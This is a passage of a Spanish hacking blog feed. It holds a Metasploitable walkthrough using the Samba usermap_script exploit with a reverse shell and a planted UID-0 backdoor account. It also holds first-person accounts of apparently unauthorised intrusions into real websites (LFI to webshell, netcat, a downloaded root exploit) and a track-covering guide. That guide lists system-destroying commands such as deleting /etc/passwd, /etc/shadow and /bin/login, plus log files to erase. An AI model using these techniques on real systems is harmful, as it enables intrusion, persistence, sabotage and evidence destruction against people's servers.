&lt;span style=&quot;background-color: white;&quot;&gt;
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.10 wi&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
th Suhosin-Patch)&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
139/tcp  open  netbios-ssn&lt;/span&gt;&lt;span style=&quot;background-color: white; color: red;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: black;&quot;&gt; Samba&lt;/span&gt; &lt;span style=&quot;color: darkorchid;&quot;&gt;smbd 3.X&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white;&quot;&gt; (workgroup: WORKGROUP)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
445/tcp  open  netbios-ssn &lt;/span&gt;&lt;span style=&quot;background-color: white; color: red;&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: black;&quot;&gt;Samba&lt;/span&gt; &lt;span style=&quot;color: darkorchid;&quot;&gt;smbd 3.X&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: black;&quot;&gt; (workgroup: WORKGROUP)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
8009/tcp open  ajp13       &lt;/span&gt;&lt;b style=&quot;color: black;&quot;&gt;Apache Jserv&lt;/b&gt;&lt;span style=&quot;background-color: white; color: black;&quot;&gt; (Protocol v1.3)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
8180/tcp open  http       &lt;/span&gt;&lt;b style=&quot;color: black;&quot;&gt; Apache Tomcat&lt;/b&gt;&lt;span style=&quot;background-color: white; color: black;&quot;&gt;/Coyote JSP engine 1.1&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
MAC Address: 00:0C:29:1E:8B:E7 (VMware)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
Service Info: Host:  metasploitable.localdomain; &lt;/span&gt;&lt;span style=&quot;background-color: white; color: darkgreen;&quot;&gt;&lt;b&gt;OS: Linux&lt;/b&gt;&lt;/span&gt;
   
  &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;u&gt;&lt;i&gt;Da más miedo que Bush hablando de paz.&lt;/i&gt;&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
Como sospechaba, aquí esta el &lt;b&gt;terrorífico resultado&lt;/b&gt; de Nessus:&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot; style=&quot;background-color: white;&quot;&gt;
&lt;div class=&quot;bbcode_quote&quot;&gt;
&lt;div class=&quot;quote_container&quot;&gt;
&lt;pre class=&quot;code&amp;gt;Crítica:&amp;lt;/b&amp;gt;==&amp;gt; Samba NDR MS-RPC Request Heap-Based Remote Buffer Overflow&amp;lt;br /&amp;gt;Debian OpenSSH/OpenSSL Package Random Number Generator Weakness&amp;lt;b&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;
&amp;lt;div class=&quot; quote_container=&quot;quote_container&quot;&gt;&lt;b&gt;&lt;b&gt;
Alta:&lt;/b&gt;Apache HTTP Server Byte Range DoS
Microsoft Windows SMB Shares Unprivileged Access&lt;b&gt;


 Media:
 &lt;/b&gt;SMB Signing Disabled HTTP TRACE / TRACK Methods Allowed
Apache HTTP Server httpOnly Cookie Information Disclosure&lt;b&gt;

 Baja:&lt;/b&gt; &lt;b&gt;
 &lt;/b&gt;[...] Muchisimas vulnerabilidades leves&lt;/b&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;b&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;b&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;b&gt;
&lt;br /&gt;
&lt;/b&gt;Así que empecemos por la primera... Heap-Based Remote Buffer Overflow.&lt;br /&gt;
&lt;br /&gt;
Buscando por Google concluimos:&lt;b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot; style=&quot;font-family: Times,&amp;quot;Times New Roman&amp;quot;,serif;&quot;&gt;
&lt;div class=&quot;bbcode_quote&quot;&gt;
&lt;div class=&quot;quote_container&quot;&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;b&gt;&lt;b&gt;&lt;u&gt;&lt;i&gt;Attackers can exploit this vulnerability to execute arbitrary code 
with  SYSTEM-level privileges. Failed exploit attempts will result in a 
 denial-of-service condition.&amp;nbsp;&lt;/i&gt;&lt;/u&gt;&lt;/b&gt;&lt;/b&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
Un atacante puede ejecutar código arbitrario en la máquina remota
  mediante desbordamiento de buffer. Ésto se consigue sobreescribiendo 
la  pila para redireccionar el punto de retorno hacia nuestro código  
malicioso, que, por ejemplo, dejará un puerto a la escucha.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;br /&gt;
Todo con permisos System (&lt;u&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;i&gt;ROOT&lt;/i&gt;&lt;/span&gt;&lt;/u&gt;)&lt;br /&gt;
&lt;br /&gt;
Si el ataque no prospera, nuestro ataque generará una saturación en dicho servicio que finalizará en K.O. informático (DoS). Véase PortKnocking&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: navy;&quot;&gt;Análisis&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;br /&gt;
Tenemos un fallo, de entre tantos, en el servicio SAMBA. Antes de 
ponernos a rompernos la cabeza con el exploit... Teniendo en cuenta que 
ya no es ningún reto, acudiremos directamente a Metasploit.&lt;br /&gt;
&lt;br /&gt;
Esto no pretende ser ningún tipo de tutorial sobre nessus, metasploit o 
nmap, sino una guia de ataque. Sin embargo, para quienes jamás 
utilizaron MSF pero sí se dedican a esto, deberían conocer los comandos 
básicos. O cómo llegar a ellos.&lt;br /&gt;
&lt;div class=&quot;bbcode_container&quot; style=&quot;background-color: white; color: black;&quot;&gt;
&lt;div class=&quot;bbcode_quote&quot;&gt;
&lt;div class=&quot;quote_container&quot;&gt;
&lt;ol class=&quot;decimal&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;
&lt;li&gt;search EXPLOIT&lt;/li&gt;
&lt;li&gt;use EXPLOITlink&lt;/li&gt;
&lt;li&gt;search PAYPLOADS&lt;/li&gt;
&lt;li&gt;set PAYLOAD PayLoadlink&lt;/li&gt;
&lt;li&gt;show options&lt;/li&gt;
&lt;li&gt;set OPCIÓN Valor&lt;/li&gt;
&lt;li&gt;exploit&lt;/li&gt;
&lt;/pre&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
Esta sería una guía abstracta. Hay quien ensucia nombres &quot;sabiendo como y no porqué&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Procedamos al ataque.&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;Ataque y &lt;span style=&quot;color: red;&quot;&gt;ROOT&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
Pues bien, primero sería acudir a la búsqueda del exploit.&lt;/div&gt;
&lt;pre class=&quot;code&quot;&gt;search samba&lt;/pre&gt;
&lt;br /&gt;
Advertí el siguiente exploit, que utilicé:&lt;br /&gt;
&lt;pre class=&quot;code&quot;&gt;use exploit/multi/samba/usermap_script&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
Me puse a identificar payloads... Haber cual me conviene más&lt;br /&gt;
&lt;pre class=&quot;code&quot;&gt;search payload&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
Y configuré como payload una shell inversa para su S.O.&lt;br /&gt;
&lt;pre class=&quot;code&quot;&gt;set PAYLOAD cmd/unix/reversepayload/cmd/unix/reverse &lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
Y listo, solo falta configurar opciones.&lt;br /&gt;
&lt;pre class=&quot;code&quot;&gt;SHOW OPTIONS
-------------
set RPORT 445
set LHOST 192.168.29.1
RHOST 192.168.29.128&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
Final:&lt;br /&gt;
&lt;pre class=&quot;code&quot;&gt;exploit&lt;/pre&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: navy;&quot;&gt;Backdoor SSH&lt;/span&gt;&lt;/div&gt;
&lt;span style=&quot;color: navy;&quot;&gt;
&lt;br /&gt;
&lt;/span&gt;Ya que logramos acceder con permisos de ROOT, es tan simple como ejecutar el comando passwd.&lt;br /&gt;
&lt;br /&gt;
Posteriormente, estramos por ssh...&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;br /&gt;
ssh root@192.168.29.128&lt;br /&gt;
root@192.168.29.128&#39;s password:&lt;br /&gt;
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686&lt;br /&gt;
&lt;br /&gt;
The programs included with the Ubuntu system are free software;&lt;br /&gt;
the exact distribution terms for each program are described in the&lt;br /&gt;
individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
&lt;br /&gt;
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law.&lt;br /&gt;
&lt;br /&gt;
To access official Ubuntu documentation, please visit:&lt;br /&gt;
&lt;a href=&quot;http://help.ubuntu.com/&quot;&gt;http://help.ubuntu.com/&lt;/a&gt;&lt;br /&gt;
You have mail.&lt;br /&gt;
root@metasploitable:~# &lt;/blockquote&gt;
&lt;br /&gt;
Dejamos un regalito:&lt;br /&gt;
&lt;blockquote&gt;
&lt;br /&gt;
root@metasploitable:~# adduser yo-mismo&lt;br /&gt;
Adding user `yo-mismo&#39; ...&lt;br /&gt;
Adding new group `yo-mismo&#39; (1004) ...&lt;br /&gt;
Adding new user `yo-mismo&#39; (1004) with group `yo-mismo&#39; ...&lt;br /&gt;
Creating home directory `/home/yo-mismo&#39; ...&lt;br /&gt;
Copying files from `/etc/skel&#39; ...&lt;br /&gt;
Enter new UNIX password:&lt;br /&gt;
Retype new UNIX password:&lt;br /&gt;
passwd: password updated successfully&lt;br /&gt;
Changing the user information for yo-mismo&lt;br /&gt;
Enter the new value, or press ENTER for the default&lt;br /&gt;
Full Name []:&lt;br /&gt;
Room Number []:&lt;br /&gt;
Work Phone []:&lt;br /&gt;
Home Phone []:&lt;br /&gt;
Other []:&lt;br /&gt;
Is the information correct? [y/N] y&lt;br /&gt;
root@metasploitable:~# &lt;/blockquote&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;br /&gt;
Ya tenemos un nuevo usuario en la máquina.... Vamos a cambiarle los permisos &lt;img alt=&quot;&quot; border=&quot;0&quot; class=&quot;inlineimg&quot; src=&quot;http://oversec.org/images/smilies/smile.png&quot; title=&quot;Smile&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;bbcode_container&quot; style=&quot;background-color: white;&quot;&gt;
&lt;div class=&quot;bbcode_quote&quot;&gt;
&lt;div class=&quot;quote_container&quot;&gt;
nano /etc/passwd
   
  &lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
Y ahí cambiamos:&lt;br /&gt;
&lt;br /&gt;
yo-mismo:x:&lt;b&gt;1004:1004&lt;/b&gt;:,,,:/home/yo-mismo:/bin/bashar/lib/postgresql:/bin/bash Por:&lt;br /&gt;
yo-mismo:x:&lt;b&gt;0:0&lt;/b&gt;:,,,:/home/yo-mismo:/bin/bashar/lib/postgresql:/bin/bash &lt;br /&gt;
&lt;br /&gt;
Con esto modificamos el GID y el UID del usuario. únicamente 
sería preciso editar el ID del grupo al que pertenece (a root), pero 
buéh, la costumbre manda &lt;img alt=&quot;&quot; border=&quot;0&quot; class=&quot;inlineimg&quot; src=&quot;http://oversec.org/images/smilies/smile.png&quot; title=&quot;Smile&quot; /&gt;&lt;br /&gt;
¿Tenemos el usuario listo para entrar por SSH como ROOT?&lt;br /&gt;
&lt;div style=&quot;color: black;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;bbcode_container&quot;&gt;
&lt;div class=&quot;bbcode_quote&quot;&gt;
&lt;div class=&quot;quote_container&quot;&gt;
&lt;blockquote&gt;
ssh yo-mismo@192.168.29.128&lt;br /&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;yo-mismo@192.168.29.128&#39;s password:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
Last login: Sat Jun  9 06:48:10 2012 from 192.168.29.1&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
The programs included with the Ubuntu system are free software;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
the exact distribution terms for each program are described in the&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
individual files in /usr/share/doc/*/copyright.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
applicable law.&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
To access official Ubuntu documentation, please visit:&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;a href=&quot;http://help.ubuntu.com/&quot; style=&quot;color: black;&quot; target=&quot;_blank&quot;&gt;http://help.ubuntu.com/&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt;
root@metasploitable:~#&lt;/span&gt;&lt;span style=&quot;background-color: white; color: red;&quot;&gt;&lt;i&gt;&lt;u&gt; &lt;/u&gt;&lt;/i&gt;&lt;b style=&quot;color: black;&quot;&gt;id&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root)&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;
root@metasploitable:~#&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;/blockquote&gt;
&lt;div style=&quot;background-color: white;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;span style=&quot;background-color: white; color: black;&quot;&gt; &lt;u&gt;&lt;i&gt;Lindo panorama.&lt;/i&gt;&lt;/u&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;color: red;&quot;&gt;Despedida&lt;/span&gt;&lt;/div&gt;
Link original: OverSec.org&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;Dedicación:&lt;/u&gt; 11Sep, Hielasangre, Swash, .... A tí.&lt;br /&gt;
&lt;br /&gt;
Un saludo!</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/6405855714613195922/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/esta-solo-es-una-tecnica-para-explotar.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/6405855714613195922'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/6405855714613195922'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/esta-solo-es-una-tecnica-para-explotar.html' title='[Relato] Entorno de seguridad Metasploitable versión Mayo 2010, Técnica #1'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-4707602485850477119</id><published>2012-06-07T04:49:00.000-07:00</published><updated>2012-12-25T14:56:25.865-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Relato de una intrusión"/><title type='text'>Relato de una infiltración, a medias. Full Source Disclousure.</title><content type='html'>Esto es un relato un tanto viejo, al cual dejé pasar un tiempo antes de 
publicar, hasta que&lt;i&gt; &lt;u&gt;el bug fué reparado.&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Mientras mi &quot;socio&quot;, 11sep navegábamos, topamos con un servidor vulnerable. Esta vez, un FSD.&lt;br /&gt;
&lt;br /&gt;
Igual que el anterior relato, la llamaremos &lt;b&gt;site.com&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Esta página, tenía un script absurdo, que descargaba &quot;ficheros&quot;, en la ruta site.com/down.php?f=xxx&lt;br /&gt;
&lt;br /&gt;
Recorrimos la página desde el index hasta &lt;u&gt;topar con los datos de MySQL&lt;/u&gt;, al cual accedimos, bajo previa protección.&lt;br /&gt;
&lt;br /&gt;
Llegamos al&lt;u&gt; panel de administración&lt;/u&gt;, pero el problema estaba en que se 
trataba de un &lt;u&gt;hash en SHA1 y MD5&lt;/u&gt;, el cual en lugar de brutalizar, 
cambiamos la clave durante 1 minuto para entrar.&lt;br /&gt;
&lt;br /&gt;
Dentro nos topamos con un sinfín de vulnerabilidades, que si FSD, que si FPD, que si SQLi... &lt;u&gt;Y un lindo uploader...&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
No hicimos nada, ya que&lt;u&gt; la web podríamos clonarla, y teniamos la base de datos.&lt;/u&gt;&lt;br /&gt;
Como en el anterior relato, es mi único objetivo.&lt;br /&gt;
&lt;br /&gt;
Dejamos pasar un tiempo, y volvimos a intentar entrar, para subir una 
shell. Resulta que habían migrado a un servidor MySQL que no permitía 
conexiones internas.&lt;br /&gt;
&lt;br /&gt;
Sinceramente &lt;u&gt;me resulta patético buscar scripts por Mr.Google y 
colgarlos&lt;/u&gt;, sin antes saber qué hace... Imaginen si hubieramos subido la 
shell y rooteado... &lt;u&gt;¿De qué habría servido migrar el servidor?&lt;/u&gt;&lt;br /&gt;
&lt;br /&gt;
Pasamos por alto un sin fín de oportunidades, utilizar el FPD para subir
 una shell desde SQL, bypassear el uploader, incrustar un PHP en pleno 
index con la shell...&lt;br /&gt;
&lt;br /&gt;
Nuestro objetivo no fué más que lograr una infiltración al área restringida (Panel de administración)&lt;br /&gt;
&lt;br /&gt;
Como siempre digo, &lt;span style=&quot;font-size: large;&quot;&gt;Antes de correr, hay que saber andar.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Un saludo.</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/4707602485850477119/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/esto-es-un-relato-un-tanto-viejo-al.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/4707602485850477119'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/4707602485850477119'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/esto-es-un-relato-un-tanto-viejo-al.html' title='Relato de una infiltración, a medias. Full Source Disclousure.'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-5027925654272460118</id><published>2012-06-07T04:41:00.000-07:00</published><updated>2012-12-25T14:57:13.948-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="FSD"/><category scheme="http://www.blogger.com/atom/ns#" term="Relato de una intrusión"/><title type='text'>[Doc.] Relato de una intrusión: Un Miserable LFI</title><content type='html'>Hace unos dias, mientras navegaba aburrido por la Web, encontre una pagina con una vulnerabilidad LFI.&lt;br /&gt;
&lt;br /&gt;
El sitio, por privacidad, lo llamaremos &lt;a href=&quot;http://www.site.com/&quot; target=&quot;_blank&quot;&gt;www.site.com&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
Observe que la dirección del archivo a incluir lo pasaba mediante GET 
por la variable &quot;site.com/index.php?Page=&quot;, a la cual se agregaba la 
extensión &quot;.PHP&quot; por seguridad...&lt;br /&gt;
&lt;br /&gt;
Estuve un rato pensando como evadirlo, y llegue a una conclusión: Tratar con el Null Byte.&lt;br /&gt;
&lt;br /&gt;
Básicamente, para explotarlo, o que hice fue utilizar un archivo 
inexistente, observar la ruta donde estaba el directorio htdocs, 
(/var/www/htdocs), para después buscar algún fichero que vulnerar.&lt;br /&gt;
&lt;br /&gt;
En un primer intento, trate de enviarle la ruta: ../../../etc/passwd,
 el cual funciono exitosamente, y buscando, concluí que existía el 
fichero /proc/self/environ, el cual mostraba mi User-Agent. Cabe aclarar
 que este permitia la inclusión de PHP modificando via Live HTTP 
Headers.&lt;br /&gt;
&lt;br /&gt;
Con todo esto, conseguí crear una webshell en el servidor, lo que me 
facilito los datos de la base de datos, y una copia de la web.&lt;br /&gt;
&lt;br /&gt;
Se trataba de un kernel 2.6.30, así que decidí dejar mi netcat escuchando en modo recursivo, y cree la conexión con el Host.&lt;br /&gt;
&lt;br /&gt;
Posteriormente, vía wget descargue un Root Exploit que encontré por la 
red, lo cual me permitió permisos de Root en dicho servidor.&lt;br /&gt;
&lt;br /&gt;
Resulta que, en dicho servidor, habían mas de 50 usuarios, con varios dominios cada uno...&lt;br /&gt;
Lejos de hacer un deface masivo, lo cual nunca fue, ni sera, mi 
objetivo, decidí limpiar mis huellas y salir de ahí, con una clara 
conclusión:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: Georgia;&quot;&gt;&lt;i&gt;&lt;b&gt;Un solo fallo, lo pueden pagar muchos.&lt;/b&gt;&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Mi único trofeo fue la copia de la Web, y de la base de datos&lt;i&gt;, &lt;u&gt;de los cuales no obtuve datos relevantes&lt;/u&gt;&lt;/i&gt;.&lt;br /&gt;
&lt;br /&gt;
Un saludo!</content><link rel='replies' type='application/atom+xml' href='http://oversec-blog.blogspot.com/feeds/5027925654272460118/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/doc-relato-de-una-intrusion-un.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/5027925654272460118'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5049397840722246187/posts/default/5027925654272460118'/><link rel='alternate' type='text/html' href='http://oversec-blog.blogspot.com/2012/06/doc-relato-de-una-intrusion-un.html' title='[Doc.] Relato de una intrusión: Un Miserable LFI'/><author><name>Yo-Mismo</name><uri>http://www.blogger.com/profile/16808768813534764737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5049397840722246187.post-711126969388980944</id><published>2012-06-07T04:22:00.002-07:00</published><updated>2012-12-25T14:58:06.010-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="huellas"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="zapper"/><title type='text'>[Rastreo] Eliminación de huellas</title><content type='html'>&lt;i&gt;&lt;u&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;No me hago responsable del mal uso de este artículo.&lt;/b&gt;&lt;/span&gt;&lt;/u&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
Existen tantos tipos de huellas, como tipos de ataques realizados.&lt;br /&gt;
Lo primero que hay que tener en cuenta, es qué hicimos, y como nos pueden cojer.&lt;br /&gt;
&lt;br /&gt;
Para entrar a robar a una casa, puede tirarse la puerta a patadas, utilizar una palanca (Fuerza Bruta), Ganzuas... En el primer caso hay que recomponer la puerta, en el seguro repararla, en el tercero, deshacerse de las ganzuas.&lt;br /&gt;
Esto no implica que no queden otros rastros.&lt;br /&gt;
&lt;br /&gt;
Existen muchos tipos de herramientas, backdoors, sniffers para capturar datos, logs de acceso de Apache u otros servicios (daemons)...&lt;br /&gt;
Muchos &quot;Hackers&quot; se limitan a eliminar los access_logs del apache, destruir webshells y backdoors, y root exploit&#39;s (Lo cual olvidé en mi último relato, por lo que supieron de la actividad, aunque no conocen su autor), y la cosa no es así.&lt;br /&gt;
&lt;br /&gt;
Si creamos un usuario, no bastaría con eliminar la cuenta... ¿Cómo creaste el usuario? ¿Mediante comandos?&lt;br /&gt;
&lt;br /&gt;
&lt;u&gt;El fin de esta guía&lt;/u&gt; no es realizar el ataque perfecto, sino más bien &lt;u&gt;una orientación.&lt;/u&gt;&lt;br /&gt;
Existen multitud de herramientas, tales como Zappers que afirman eliminar todo rastro... Cuando esto no es así.&lt;br /&gt;
&lt;br /&gt;
Daremos un repaso por los medios más utilizados.&lt;br /&gt;
&lt;br /&gt;
A) Destrucción del sistema&lt;br /&gt;
A-1) Esto ocurre cuando la evidencia es tal, que no queda otro remedio.&lt;br /&gt;
La forma más común, almenos en mi caso, seria inhabilitar el login, y causar un tal destrozo que el único medio sea la destrucción total o parcial. He aquí algunos comandos de interés:&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
rm /etc/passwd&lt;br /&gt;
rm /etc/shadow&lt;br /&gt;
rm /bin/login&lt;br /&gt;
rm /bin/rm&lt;br /&gt;
rm /etc/inetd.conf&lt;br /&gt;
killall login&lt;/blockquote&gt;
B) Capturando y eliminando los access log de Apache.&lt;br /&gt;
B-1) Esta opción solo es viable si únicamente realizaste un ataque a nivel Web, por ejemplo, una Webshell&lt;br /&gt;
Los directorios más comunes son:&lt;br /&gt;
&lt;blockquote style=&quot;background-color: yellow; color: black;&quot;&gt;
apache/logs/error.log&lt;br /&gt;
apache/logs/access.log&lt;br /&gt;
apache/logs/error.log&lt;br /&gt;
apache/logs/access.log&lt;br /&gt;
apache/logs/error.log&lt;br /&gt;
apache/logs/access.log&lt;br /&gt;
etc/httpd/logs/acces_log&lt;br /&gt;
etc/httpd/logs/acces.log&lt;br /&gt;
etc/httpd/logs/error_log&lt;br /&gt;
etc/httpd/logs/error.log&lt;br /&gt;
var/www/logs/access_log&lt;br /&gt;
var/www/logs/access.log&lt;br /&gt;
usr/local/apache/logs/access_log&lt;br /&gt;
usr/local/apache/logs/access.log&lt;br /&gt;
var/log/apache/access_log&lt;br /&gt;
var/log/apache2/access_log&lt;br /&gt;
var/log/apache/access.log&lt;br /&gt;
var/log/apache2/access.log&lt;br /&gt;
var/log/access_log&lt;br /&gt;
var/log/access.log&lt;br /&gt;
var/www/logs/error_log&lt;br /&gt;
var/www/logs/error.log&lt;br /&gt;
usr/local/apache/logs/error_log&lt;br /&gt;
usr/local/apache/logs/error.log&lt;br /&gt;
var/log/apache/error_log&lt;br /&gt;
var/log/apache2/error_log&lt;br /&gt;
var/log/apache/error.log&lt;br /&gt;
var/log/apache2/error.log&lt;br /&gt;
var/log/error_log&lt;br /&gt;
var/log/error.log&lt;br /&gt;
var/log/access_log&lt;br /&gt;
var/log/access_log&lt;/blockquote&gt;
Se puede eliminar con RM, o editar, pero para asegurarse de no dejar nada mal, hacer uso de Tee.&lt;br /&gt;
C) Eliminar el Bash History&lt;br /&gt;
